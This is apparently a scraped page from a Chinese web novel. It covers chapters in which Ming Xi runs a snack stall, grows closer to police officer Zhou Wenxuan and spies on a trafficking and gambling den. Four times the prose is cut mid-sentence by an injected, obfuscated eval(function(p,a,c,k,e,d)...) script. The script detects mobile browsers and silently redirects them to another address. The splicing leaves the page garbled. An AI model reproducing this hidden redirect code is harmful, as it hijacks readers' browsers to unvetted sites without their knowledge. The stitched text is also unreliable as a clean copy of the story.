;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162928|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不动，明曦随意扫了一眼后撑着腿俯身对明月说：“以后再遇到这种事，你第一时间就躲开，不要跟他们发生正面冲突，当然，让你躲开并不是说要让你把委屈咽下去，而是说如果发生了正面冲突，你一个人不一定斗得过他们，我们是为了安全起见暂时躲避。我们不惹事但我们也不怕事，等我回来后，我会解决的。” “嗯！”明月觉得自己一上午受到的委屈都被一扫而尽，是晚上睡觉都会做个好梦的好心情。 围观一切的周文宣看着明曦游刃有余地将一切事情都解决，也没有跟刘红霞发生更进一步的冲突，他发自内心地对她说：“你做得很好。”若是一开始只是因为激素控制而心跳加速，这回他是真的又见证了一次她散发魅力的时刻。 明曦站起身笑着道谢：“麻烦你跟我们跑这一趟了，要不是你在这，这件事也不会那么快解决。” 要是周文宣不过来，她当然也会解决这件事，但免不了两家人会纠缠很久，有些人即使什么都没做，他的身份摆在那就足够震慑住别人了。 明曦想了想又补充道：“你什么时候有空，请你吃饭。” 吃饭？周文宣眨巴眨巴眼，“有、有，都有空。” 明曦又笑起来，她是知道他的忙碌程度的，哪里有那么多空，一看就是头脑又开始发昏了，这个小周同志啊，她无奈笑了笑说：“行，那回头我订好餐厅再约你。” “好、好，那我先走了。”周文宣傻笑着冲她摆手下楼，差点一脚踩空。 明曦看着他的傻样子简直要扶额苦笑。 等一切都平静下来后，明月去看书，苗翠翠开始收拾带来的行李，明曦也要开始为明天的摆摊提前做准备。 苗翠翠刚来第一天就看到了老板发威的场面，原本还觉得这家里就她们这几个女孩，其中一个甚至还是小学生，会不会被人欺负，毕竟人都是欺软怕硬的。 现在她是明白了，以她老板的这个能力，她们是绝对不会被欺负了，就算被欺负，也能报复回去。 她觉得自己真是幸运，幸好没赶上原本的火车，要不然岂不是就错过条件这么好的老板了？ 她决定要好好跟老板学手艺，等以后也自己摆摊，自己开店，日子一定会越过越红火的！ 两个人手下都没停过，苗翠翠叠着自己的厚衣服，想起周文宣来，好奇问：“老板，那个周公安是不是喜欢你啊？” 明曦挑眉耸肩，随意笑道：“也许吧。” 苗翠翠没想到她说的这么随意，好像他的喜欢与否对她不会有任何影响，一时不由又敬佩起她来，感叹道：“老板，你真厉害，比我见过的所有女人都厉害，不，比我见过的所有人都厉害！”说着还自己认同似的点着头。 “你别叫我老板了，听着怪别扭的，你就叫我名字就好。”明曦听到她叫自己老板感觉浑身不自在，她上一世可不是这样的，她那时候可是天天“臭花”“臭花”的喊她。 19. 恶趣味 “吃饭吃饭，餐厅餐厅。”回家的路上，周文宣还在念叨这些词，他现在觉得自己好像喝了酒一样有些微醺。 进门后，舒绣芳问：“怎么样，还顺利吗？” 周文宣点头：“她很厉害，非常顺利地将一切解决。” “那就好。”舒绣芳收起报纸，将其叠整齐放到抽屉里。 周文宣端了杯水走到沙发上坐下，喝了一口后装作不经意说：“你你跟她怎么认识的，怎么好像没听你说过？” “没说过吗？”舒绣芳眯了眯眼想了想，“那可能是我忘了，我跟她主要也没多熟悉，就是去买了几次蛋糕，我记得你也吃过的。” “我吃过？”周文宣脑海中滑过那一口一个的小蛋糕，恍然道，“是那个啊。” “虽然不熟悉，了解的也不多，但就从我自己观察的来看，也是个可怜孩子。”舒绣芳摇摇头，接着往下说，“她独自一个人带着妹妹在在海城生活，还送妹妹去上学，每天晚上又要去小广场摆摊，她可比你小好几岁呢，你天天在家还衣来伸手饭来张口的。” …… “今天准备做点新东西，我之前就打算做的，但光是蛋糕就够我累的了，实在是腾不出空做新的，不过现在你来了，我总算是有帮手了。”明曦带上袖套笑着对苗翠翠说，并指挥她帮忙干活，“你先帮我把鸡蛋打了，要蛋清蛋黄分离。” 今天第一天上工，苗翠翠也兴奋得紧，昨天一晚上都没怎么睡，又怕翻身会吵醒她们，只好直愣愣躺着，闭着眼睛高兴。 明曦口中说的新东西也不是什么特别复杂的食物，相反它甚至可以称得上简单，就是用海苔裹一下饭团，上面再点缀点什么其它东西，俗称寿司。 现在本子的电视剧在这边比较流行，寿司作为他们的主流食物，也使得海城的一些年轻人产生了些兴趣，海城也出现了一些日式餐厅。 不过今天是第一天，明曦还不知道能卖掉多少，所以也不打算做太多，先做一些试试水。 明曦先把售卖的主要食品——蛋糕做掉，一边做一边跟苗翠翠说制作上的要点，“我建议你找个小本子记一下步骤，这样有哪些细节忘记了，翻一下本子就想起来了。” “噢噢好。”苗翠翠点头，下意识地掏兜，末了才想起来自己哪有有本子这东西，不好意思地笑笑。 明曦也被自己蠢笑，用手背敲了下脑门，到水龙头下洗手再擦干，然后到桌子旁拿了个小本子，又从明月的笔筒里随便抽了只铅笔，一并递给她，“你就用这个吧，要是有不明白的地方随时问我。” 蛋糕做完，寿司的材料也都准备好后，两个人就出摊了，蛋糕到那边直接卖，寿司可以到时候再组装。 去小广场的时候路过巷口，之前还算热闹的巷口现在已经人流稀少，只还有寥寥两三个摆摊的人，而且摊子前并不见有人驻足。 明曦见状摇摇头，她就说这些人不会做生意，坚持不了多久的，恐怕再过几天，连这几个摊子都不会再来了。 到了小广场，摊子刚摆好没多久，就陆陆续续开始有人过来买了。 明曦带着苗翠翠一边团寿司一边卖蛋糕。 “蛋糕都是一块钱一块，寿司就是不同的定价，这种加的东西少的卖八分钱一块，那种是一毛钱，那边那个是一毛五分，我按价格顺序放的，别记错了。” “好。” 明曦抬头看了眼钟楼上的时间，站起来脱掉身上的围裙说：“你先单独看一会儿，我去给朋友送一下寿司，再去接明月过来。” “好。”苗翠翠应下，说实话她也很惊讶，这才第一天，老板就这么放心自己一个人待在这儿，钱包也都放在她手上，是一点不怕她拿着钱就跑啊。 当然，她知道自己肯定不会这么干，但对于老板的信任，不可说不感动。 明曦没想这么多，她依照前世的习惯，知道苗翠翠的性子，她心是好的，只是喜欢嘴上不饶人，所以很是放心的将自己的后背托给她。 明曦打算在明月放学前去一趟警察局，要趁热打铁，可不能让小周同志因为忙事业而忘了她，虽然她很有信心小周同志并不会如此就是了。 明曦把篮子挂在自行车把手上，一路骑到警局门口，再拎着进去，她昨天就有意无意地问过周文宣，知道他们现在肯定都在警局。 周文宣正一边看着卷宗，一边转着笔，眼神随意地朝门口一瞥，就看到了一抹熟悉的倩影，他收回视线再望过去，生怕是自己看错了。 几番确认之下才确信自己并没有看错，周文宣略显激动地站起来，椅子“兹拉”一声发出恼人的噪音，引得众人都朝他看去。 周文宣这才意识到自己的失态，连忙尴尬地点头，小心地朝明曦走去，他刚刚还在心里想要什么时候去找她才不算唐突，没想到今天她就来他单位了。 “噢我不是来找你的，我是有事想找江队长问一下。”明曦那讨人厌的恶趣味又从心底浮起来，他刚刚那么大的动静，让她想不注意到都难，但她就是不想让他高兴得太早。 “啊？哦、哦。”周文宣又红了耳垂，不自在地挠挠头，尴尬道，“江队在里面，我带你过去。”说完就赶紧转过身去，生怕被她看到自己的窘样。 明曦看着他马上要同手同脚的背影，提着食盒耸肩忍不住地笑，觉得年轻一点的他是如此可爱。 徐茗瑞这时候看见明曦问：“小花？你怎么过来了？” 明曦笑了笑：“我做了寿司，想送来给你们尝尝。” 周文宣听到明曦回答后才反应过来徐茗瑞口中的“小花”就是明曦，他有些好奇问：“你的小名叫小花吗？” “不是，那是我曾用名。”明曦又对着徐茗瑞道，“瑞姐，我现在改名了，你以后叫我明曦吧。” 徐茗瑞点头笑着答应，没有多问什么，她从明曦递过来的食盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174499|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面捻起一块寿司塞进嘴里，一边咀嚼一边竖起大拇指，“好吃！对了，江队开会呢。”她抬手看了看手表道，“不过应该快结束了。” “那我在这边等一会儿吧。”明曦说完又问，“会不会打扰到你们？” “没事，不会。” 正说着，就瞧江律心风风火火地从会议室里出来，走到一半又被声音喊回去：“律心，记住我说的，别不当一回事儿。” 江律心无奈地眨了下眼：“放心吧，师父。” 明曦随着她的声音望过去，是位很儒雅的男性，五十岁上下的样子。 阳天跟江律心两个人边聊边往外走，走出几步后两人都看到明曦。 徐茗瑞率先道：“队长，明曦做了寿司，说送过来给我们尝尝。” “是你准备卖的新品？”江律心笑着将明曦介绍给阳天，“师父，她就是我之前跟你说的那个抓住人贩子的小姑娘。” 周文宣听到这话微微隆起了眉头，眼中是懊恼，他记得这个案子，原来明曦跟队长和徐茗瑞是这么认识的，都怪他那天请假了，否则岂不是那时候就能认识她了。 阳天吃惊地看了明曦一眼，大约是没想到小姑娘这么小，又爽朗地笑了笑后道：“自古英雄出少年啊。” 徐茗瑞在明曦耳边低声补充道：“这是我们阳局长。” 明曦前世知道他，微微俯身打招呼：“阳局长您好。” 阳天还有事要忙，没在这边逗留，打了招呼就走了。 “想让你们给我把把关，给我提提意见。”明曦提了提手中的食盒，玩笑说。 江律心也笑起来：“我们这非专业的可怎么给专业的提意见？也只能简单说一说吃后的感受。” 明曦跟周文宣说有事找江律心是真的，并不只是为了逗他，她还记得去接翠翠时的火车站，那些坏人就明目张胆地在那边物色女人，虽然她现在没办法正面对上黑工厂，可也不想看着那些女孩落入他们手里。 所以今天才想来警察局跟江律心说一下这个事，经过前世，她对江律心也算是了解，直到她这个人最是正义，只要知道这个情况，就绝没有坐视不理的道理，也正是有她这样的领头人，才教出了前世为了证据不死不休的周文宣。 果然，明曦将火车站的事情一说，江律心立马就变了脸色，虽然明曦没有什么证据，但她还是很重视，“行，回头我跟车站那边联系联系，平时多些人巡逻监督。” 明曦眼睛一弯笑起来：“谢谢江队。” 江律心也笑了：“这本来就是我们公安的职责，有什么好谢的。” 话虽如此，但人非圣人，肯为人民做事，自然当得起人民的一声谢。 大家都忙，明曦把事情说完后也没有久留：“我还得去接明月放学，就先走了。” 周文宣立马接话：“我送你。” 明曦朝他笑了笑，拎着腾空的食盒出去。 20. 认字 新品寿司的生意不好不坏，但好歹是又多了个进项。 多了苗翠翠这个帮手，明曦也有了一些清闲的时候，她一闲下来就开始琢磨黑工厂的事，她来海城这么多天了，每次想起黑工厂，心里就恨得牙痒痒，但她每天要摆摊做生意维持生计实在腾不出空，但现在有时间了，她得好好想想。 没过几天，明曦心里就有了注意。 这天，田江又来她的蛋糕摊上买蛋糕，明曦这次看到他的时候已经可以很平静地面对他，就像对待普通的客人一样。 明曦将打包好的蛋糕放到他手上，笑着道：“您看着有些眼熟，不是第一次来买蛋糕了吧？” “老板记忆力挺好啊。”田江挑了下眉道。 明曦笑呵呵道：“我们这做生意的记忆力不好可不行。” 田江接过蛋糕笑了笑，没有再多说什么。 明曦瞧着他的背影，笑得有些幽深，她想把这个人当作自己的突破点，利用他来接近黑工厂，再找机会拿到他们作恶的证据。 最佳的接近方法应该就是跟他去谈给黑工厂提供蛋糕的生意了，在她记忆里，黑工厂夜里的那些声色场所都是有吃有喝的。 这一次她一定要小心小心又小心，绝对不能再让那些人逃跑。 想到这里，明曦又想到上一世的种种，她心里一直有个怀疑，公安局一定有和黑工厂狼狈为奸的人，否则他们怎么会逃得那样快，而深入到黑工厂一案的核心警察又都落得个那样的下场。 明曦甩甩脑子，当务之急还是先通过田江打入他们那些小领导之中，别看只是些小头目，手中可都藏了不少罪证。 …… 空闲的时候多了，明曦带着苗翠翠琢磨记忆里的小吃做法，刚开始不熟悉，后面做了几次后，明曦就把前世学过的那些东西都想起来了。 苗翠翠也在这一次次过程中学会了很多小吃。 白天她们俩在家准备摆摊的东西，外加琢磨这些，晚上明月回来就能吃到很多好吃的东西，味蕾得到了大大的满足。 这段时间，明月也在学校交到了好几个好朋友，因为大家的家庭条件都差不多，倒是没有发生明曦担心的事情。 苗翠翠跟姐俩住的这段时间，亲眼见到明曦对明月的紧张关心，心想亲妈都没这么疼孩子的。 但她的观察下，明曦疼妹妹也不会白疼，明月也懂事得很，一写完作业也不贪玩，就来帮她们做些力所能及的琐事，姐妹俩虽然没有爸妈，但互相扶持着，以后肯定不会差。 她刚想到这，就听到明月喊她： “翠翠姐，你今天的字都认完了吗？有没有不会的？” 苗翠翠一脸窘样，她在家的时候念了几年书就念不下去了，都认不得几个字，上次给家里写信的时候，要不是明月在旁边，她连半页纸都写不下去，明曦看到这个情况，拍板让她跟着明月学认字。 明月做起小老师来很是兴奋，天天都给她布置作业，但她是真学不下去，一天让她认五十个字，她能好好看二十个就算是认真了。 明月起身走过来把她拉到桌边坐下，还有模有样地叹息了一声：“我就知道你今天肯定又偷懒了，姐都说了，社会在高速发展，没有文化怎么能行？不认识字你连电视都看不懂。” 苗翠翠嘴硬：“我电视看得懂，看电视又不用认字，耳朵能听见就行。” 明月一副朽木不可雕也地看着她，苗翠翠很快败下阵来，举手投降道：“我现在学，现在学。” 明曦饶有兴致地看着她们俩玩闹，苗翠翠性子活，来到这没几天就跟明月打成一片了，手脚麻利又肯干，让她省了不少事。 明曦瞧着苗翠翠现在快活的样子，不免想到前世来。 前世苗翠翠比她晚两个月进黑工厂，刚来的时候一脸天真，话又多又密，明曦那时候已经认清了黑工厂的真相，整个人都心如死灰，根本不想搭理她。 随着时间的推移，苗翠翠也知道黑工厂不是个正经场所，也哭嚎过、反抗过，但人不敢死，那就总要活下去，所以她最终还是屈服了，乖乖听话。 而明曦那时候还在反抗，作为负面例子的她三天两头的挨打、挨饿，苗翠翠看不过眼，会偷偷趁没人的时候给她塞东西吃，有时候是包子馒头，有时候是会场上的一些糕点。 明曦没有拒绝她的投喂，她当时虽然不愿意屈服，但心里还有一个念头，那就是活着，她要去找明月，所以每次她都狼吞虎咽地将那些食物塞进肚子里，以此来支撑着自己活下去。 也因为她一直在反抗，皮囊身材都不好看，所以后来黑工厂也不让她接客了，随着新人的加入，那些小领导也不再关注她，她就这样在黑工厂苟延残喘着，寻找着逃走的契机。 而苗翠翠对于她的反抗又支持又嫉妒，当时几乎被骗进来的所有人都被迫沉沦了，只有她还在坚持，苗翠翠在她身上看到了希望，所以她支持她，但也嫉妒她有坚持的勇气。 所以虽然一直偷偷做着保护她的事情，但又忍不住用言语讥讽她，明曦理解她，感激她，从不怪她言语上的刻薄。 在那种人性被扭曲的环境下，没有人能保持心理上的健康，翠翠也不过是在通过语言来发泄心中的苦闷罢了，她也只能对着她发泄，其余时间，也只能拼命忍着心中恨意，对着那些恶人卑躬屈膝、极尽谄媚。 室内暖黄的灯光照下，苗翠翠在桌上埋首写字，光晕在她柔顺的头发上旋转，一切都那么静谧美好。 明曦斜斜地倚墙靠立，嘴角噙着淡淡的笑。 黑工厂是她人生中无法磨灭的阴影，她在那里见过最纯粹的恶，也第一次知道原来还有比陈爹陈妈更恐怖的父母。 有些姑娘被骗过去后，她们的父母兄弟没有把她们从泥潭里拉出来，反而都成为了加害者，他们拿着黑工厂开出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183487|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的高昂工资，自愿看守着自己的女儿姐妹，让她们没有一丝逃跑的可能，他们助纣为虐，比加害者还要可怕万分。 明月从教书中抬头，看到姐姐站在那边望着她们，眼里是化不开的浓浓爱意，她有些不好意思地粲然一些，“姐，你忙一天了，过来坐着歇会儿。” 明曦笑了笑应下：“好。” 苗翠翠哀嚎一声，“早知道出来打工还得重新学认字，我就在上学的时候好好学了！” 明月忍不住捂着嘴巴笑，笑完还贴心地拿过她手里的铅笔，用削笔刀重新削尖后再塞回她手里。 明曦伸手摸了摸明月的发尾问：“今天做的吃的还剩了好多，你要不要装一些带到学校给你好朋友尝尝。” “要。”这几天明月的好朋友们没少吃她带过去的东西，她也因此吃了很多好朋友分享的零食，有些她都没见过，听说是从香港带回来的。 苗翠翠听到这话，眼珠子一转立马道：“我去帮你装到盒子里，方便你明天带过去。” 明曦眼疾手快地压住她肩膀，憋笑道：“不用，我去装，你跟明月好好学认字。” 明月也一本正经接腔道：“好了翠翠姐，你又认识了十个字了，还差二十个字今天的就学完了。” “还差二十个啊！”苗翠翠瞬间生无可恋地趴到桌面上，“这些字是它认识我，我不认识它，真是折磨认。” 明月纠正：“你错了翠翠姐，这些字是你不认识它，它也不认识你。” 明曦在厨房听着外面飘进来的声音，差点没笑喷出来，家里多一个人就是要热闹一些。 跟田江的生意谈的很顺利，田江这种人说简单也很简单，只要利益到了，没什么是不能谈的。 田江在黑工厂的权力她知道，说大不大说小不小，但拍板决定蛋糕的供应是谁还是能做到的，他拍下了板子，别人再有质疑也说不得什么了，而且夜间会去黑工厂的客人也不是去吃蛋糕的，蛋糕是知名的大蛋糕房送的还是私人小作坊送的也无人在意。 明曦跟他做的这门生意几乎送了他三分之二的利益，他不会不心热，不过他也有心眼，用的是服装厂的名义来跟明曦谈生意。 明曦也不在意这些，她只想先跟这些人混熟。 前两天江队长那边也托人传信过来，说火车站那边已经加强了巡守，很大程度上避免了犯罪。 明曦听到这个消息，心中高兴，以她一人的力量，她没有办法第一时间就救出所有人，但她还是希望能够避免一些人被骗到那里面去，被折磨得人不人鬼不鬼，尤其是前世那些时而稚嫩时而艳丽的面孔。 有时候想一想，她自己都觉得很魔幻，如此现代化的城市，竟然还有一处这样的地方，躲在城市的影子中，肮脏、靡乱、黑暗。 明曦仰头直视着一碧如洗的天空，白云悠闲地飘动着，天空下密密麻麻的渺小的人为生计忙碌着。 21. 手心温度 明曦之前和周文宣就约好的午饭拖了好久才算是吃上了。 周文宣朋友的西餐厅开业，正好他这天休息，就借着这个由头问明曦有没有空，感不感兴趣。 明曦也有一段时间没看到他了，就同意了他的邀请，和他一起到那家西餐厅去。 周文宣提前到楼下去接明曦。 明曦听到那熟悉的摩拖车声就知道他到了，出门前对苗翠翠道：“那下午就辛苦你自己去小广场了。” 因为中午要去西餐厅，明曦和从苗翠翠今天特意起了个早，提前将晚上要卖的东西准备好，等她出门后，苗翠翠再把剩下的东西做一做，能做多少是多少，今天就少卖点。 苗翠翠点点头道：“你去吧，晚上要不要我去接小月？” “不用，我应该能在小月放学前回来，晚上还得去给田江送蛋糕。” “好。” 明曦安排好后下楼，刚到楼梯口就看见周文宣骚包地倚在摩托车上，见她出来后，长腿一跨骑在车上，拿出头盔递给她说：“你放心，我技术很好的，肯定不会让你摔着。” 明曦听到这话笑起来，接过头盔戴上，“周公安的技术肯定是毋庸置疑的。” 周文宣头盔里的耳尖红起，眼底滑过一抹羞涩。 明曦戴好头盔后坐上车，十分自然地攥住他两侧衣服。 周文宣等她坐好，拧动把手，摩托车向前跑出去，明曦因为惯性，上身不由自觉前倾，轻轻撞在他后背上。 天气逐渐温暖起来，周文宣里面穿了一件棉白短袖，外面披了一件长袖白衬衫，风逆着摩托车行进的方向吹来，使他的衬衫向后鼓出一个风包，悄然触碰着明曦的脸颊。 风在耳边呼啸，阳光透过云层洒落，明曦微微眯起眼，没去管调皮的衬衫，双手微微下压，接触到周文宣结实的腰间。 周文宣在感受到她手心温度的那一瞬间顿了顿，浑身都酥麻起来，嘴角微不可察的上扬，右手紧紧握着把手降下车速，与身后之人一同享受和煦的春光。 到西餐厅时，正好赶上剪彩，剪完彩后，洪学义——也就是西餐厅的老板、周文宣的朋友，走过来跟周文宣碰拳打招呼。 “你怎么现在才来，我还想着拉你一起给我剪彩呢。”洪学义笑起来，露出一溜儿整齐的白牙。 周文宣也笑：“我就算来早了也不能帮你剪啊。”毕竟职业特殊，不太方便。 洪学义想到这茬儿，一拍脑门儿笑了笑，看向他旁边的明曦问道：“你就是文宣的朋友吧，你好，我叫洪学义，跟他是高中同学。” 明曦笑起来，伸手和他握了握，自我介绍道：“我叫明曦。”没说跟周文宣的关系。 今天餐厅开业，洪学义有的忙，就没跟他们多待，临走前冲周文宣挤眉弄眼，在他耳边悄声说：“这姑娘长得挺好看的，跟你站在一起特别般配。” 周文宣瞬间脸红起来，抬腿就要往他屁股上踹。 洪学义见势不好，赶紧笑着溜走。 明曦在旁边看着他俩玩笑，也忍不住笑，刚才洪学义虽然是在他耳边说话，但并没有刻意压声音，所以她也听到了。 周文宣转身看向她，装作若无其事地问：“饿了吗？我们进去吃饭吧？”脸颊还泛着红晕。 明曦憋着笑点点头，跟在他身后进去。 新店开业，来了不少捧场的人，洪学义给他们安排了一个小包间，门一关，也还算安静。 但安静下来后，反而有些尴尬，不知道该说些什么。 周文宣拿起桌上的菜单递给她说：“你想吃什么，我们点菜吧，今天人这么多，估计要等久一点了。” 明曦看了眼菜单，点了几道感兴趣的菜后递给服务员。 果不其然，点完菜后，等了好长时间都不见上菜。 明曦端起橙汁喝了口，周文宣也觉得在密闭的空间里不说话很奇怪，找话题问道：“你跟你邻居现在怎么样了？” “现在还行，处于互不搭理的状态。”明曦放下橙汁，想了想又补充道，“这样挺好的，本来也没想跟他们成为多好的邻居，只要别故意找麻烦就行。” “他们要是还找你们麻烦，就跟我说，他们做事总归要看在我爸妈的面子上。” 明曦扬唇笑起来，“放心吧，我有事肯定找你。” “嗯。”周文宣看着她如画般的眉眼晕染出的笑意，心里也不由自主地跟着开心起来。 明曦将话头引到他身上，问道：“你呢？你们最近怎么样？” 周文宣轻叹一口气，摇摇头回道：“就没有清闲的时候，天天都在忙，熬夜是常态。” 说着他笑起来，分享趣事：“有时候很困，大家各有各的提神方法，抽烟、喝浓茶、风油精之类的，有一次，局里一个前辈困得眼都睁不开了，随手拿过桌上的一支笔塞嘴里吸了一口，他以为是烟呢。” 明曦听完也笑，又问：“那你一般怎么提神？” “也没什么好方法，也就是这些了……” 话匣子打开后，两个人都从容不少，一直聊到上菜还没聊完。 服务员端着牛排上来后，分别放在两人面前，周文宣将自己那盘用刀切成块后十分自然地和明曦的换了一下，换完后才反应过来。 明曦抿唇一笑，拿起叉子插起一块放进嘴里，缓慢咀嚼咽下后夸赞道：“肉质很鲜美，你这位朋友的餐厅肯定会做大的。”前世这家餐厅后来都得提前几天预订位置才能吃上。 周文宣见她没有在意，也笑起来：“待会儿出去我把这话跟他说，他肯定会很高兴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209421|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿饭吃完，离明月放学还有些时间，两人骑着摩托往回走，在经过铭达服装厂时，刚好见周二叔从大门口出来，垂着脑袋低头丧气的。 周文宣停下车，上前打招呼：“二叔，你这是怎么了？跟我爸吵架了？” 周二叔朝他身后看了眼明曦，周文宣道：“她叫明曦，之前在我家吃饭，你见过的。” “噢噢。”周二叔点点头，继而回答周文宣刚才的问题，“没吵架，你爸也是着急上火了。” 周文宣知道服装厂最近效益不好，又被拖欠了货款，刚刚肯定又数落二叔了，他宽慰道：“我爸最近脾气是不太好，在家也发了好几次火，二叔你别往心里去。” 周二叔张嘴笑了笑，伸手拍了拍他肩膀：“大哥什么性子我能不知道吗？你小子还安慰起我来了。” 周文宣见他心情好些后问：“二叔，你这是要去哪？” 说起去哪，周二叔的表情瞬间有些不自在，但很快又被他掩饰下去，“没事，我出来随便走走，你今天好不容易休息，跟你朋友去玩吧，别在我这浪费时间了。” 明曦在后面看着他，她没错过刚才他的那抹异样，目光里带了点探究的意味，她上次就觉得他眼熟，这次再见到他，心里更加觉得奇怪。 若只是因为他跟周文宣长得像，也不应该会是这种感觉，她肯定是在哪见过他，明曦微微皱眉，在记忆里翻找，但又的确找不出见过他的记忆影子。 等周二叔走后，周文宣将摩托车停在服装厂里，跟明曦在四周走了走，边走边说他二叔：“当初我高考结束要学刑侦，我爸死活不同意，非让我学什么会计金融之类，后来我还是报了刑侦，跟我爸之间生了好多矛盾。” 这事明曦还真不知道，周文宣前世也没跟她说过，“那然后呢？” 周文宣笑了笑，拨开前面垂下来的树枝，等明曦走过去后继续说：“后来是二叔替我跟我爸说和，而且我报都报了，录取通知书也下来了，我爸也拿我没办法。” 照这样说的话，那周二叔跟他们家关系应该挺不错才对，明曦回想起上次去他们家吃饭那回，舒绣芳的态度却不像是跟周二叔关系很好的样子，而从她这段时间跟舒绣芳接触下来，她对人礼貌，态度温和，并不是无理取闹的人。 周文宣看她表情知道她疑惑什么，苦笑了下道：“其实我也不知道我妈跟二叔到底怎么了，我记得我小时候他们之间的关系还挺不错的，我妈还张罗着要给我二叔相亲，帮他想看。可能是他们之间后来还发生了什么，但没告诉我吧。” 明曦点点头，“长辈的事情，做小辈的的确不太好参与，反正不管他们之间怎么样，总归都是你的长辈。” “是。”周文宣笑笑，“不说这个了，你妹妹应该快放学了，我送你去学校门口吧。” 22. 想起 晚上，明曦照常去给田江送蛋糕，在看到田江的那一瞬间，眼前好像闪过一道光。 她想起来为什么会觉得周二叔眼熟了。 周二叔前世是黑工厂赌场的常客，她曾见过他的。 周文宣知道周二叔滥赌吗？明曦会议下午跟周文宣一起碰到周二叔的场景，她觉得或许他并不清楚，但周厂长夫妻肯定知道此事，说不定舒绣芳和周二叔突然变僵的关系就是因为此事。 明曦将蛋糕卸下来后，骑着空的三轮车往回走，回去的路上还在想前世的事。 突然，明曦停下车，看向对面的马路，是周二叔，他低着头，行色匆匆。 明曦朝着他前方看，这个方向，是去赌场。 明曦下意识选择将车停好，锁在路边，悄悄跟了上去。 周二叔这人太蹊跷了，他怎么会跟黑工厂有关系？ 明曦在他身后不远不近地跟着，周二叔一路上都低着头，许是太过专注，一点都没有察觉到身后有人。 在快到黑工厂的时候，明曦知道自己进不去，便在门口不远处找了个掩体蹲着偷偷观察。 但没想到这次周二叔竟也没能进去，没到门口就被人推了出来。 那人面上凶狠，眼珠子瞪着周二叔，整个人比周二叔大了一圈，好似一只手就能把他拎起来似的。 明曦远远听到那人喊道：“进什么进？什么时候还钱？再不还钱用手来还了。” 周二叔听到这话，立马滑跪，连连求饶：“刘哥，刘哥，您再多给我几天，我肯定能还上，您让我进去，一局，我肯定能把钱赢回来。” 被叫做刘哥的人嗤笑一声：“你现在欠的钱十局都赢不回来，你哥呢？以往你哥不都会给你钱吗？你去找他要去啊。” 周厂长？明曦脸色变了变，所以周厂长的确知道周二叔滥赌，并且还替他偿还了赌债，甚至可能不止一次。 “我哥、我哥现在厂子效益不行，实在拿不出钱。”周二叔被拽着衣领，膝盖软得像是没生过，跟明曦下午见到的完全不像是同一个人。 刘哥呵呵笑了两声，眼底却没有一丝温度，开玩笑似的道：“周二哥，这没钱可不行啊，您是知道我们这里的规矩的，还不上钱就得用手来抵。” “别别，刘哥，刘哥，我是您带进来的人，您得帮我说说情，我这次肯定能还上的，以往哪回我没还上，这次您给我点时间，给我点时间。”周二叔声音颤抖慌乱，眼中闪过惧怕，他是知道这些人的，以前那些赌徒的下场他并非没有见过。 刘哥这时好像想到了什么，小小的眼眶里眼珠子转了转，放开周二叔，还好心的帮他整理了下衣服上的褶皱，压着声音向前道：“周二哥怎么会没钱呢？” “对对，有钱，有钱，过几天肯定会有钱的。” 刘哥哈哈笑了笑：“对对，周二哥家里的那个厂子少说也值不少钱呢，你要实在没现钱，把那厂子抵给我们也行。” 周二叔脸色一下子变了，那个厂子是他哥的，不是他的，他哪里有权利把厂子抵给他们。 “怎么，不行吗？”刘哥瞬间变了脸，不怀好意地盯着他，让他不敢拒绝。 “行，行……”周二叔顶着他迫人的视线，硬着头皮应下，干笑了两声，声音却越来越小，“当然行、当然行……” 听到这话，刘哥又开心起来，哥俩好地揽着周二叔的脖子，靠着他站立，整个人的重量都压在他身上，“二哥，我给你出个主意……” 明曦微微皱眉，离得远，听不清他们在说什么。 但周二叔听完后却脸色大变，慌忙摆手：“这不行，这不行，会出人命的……” 人命？明曦身形一顿，她好似想起来了什么，前世周文宣的父母好像是同一天意外去世的，而且他好像并没有继承那个服装厂，她前世以为是因为他是公职人员，不能经商，所以才没有厂子，但现在看恐怕其中另有隐情。 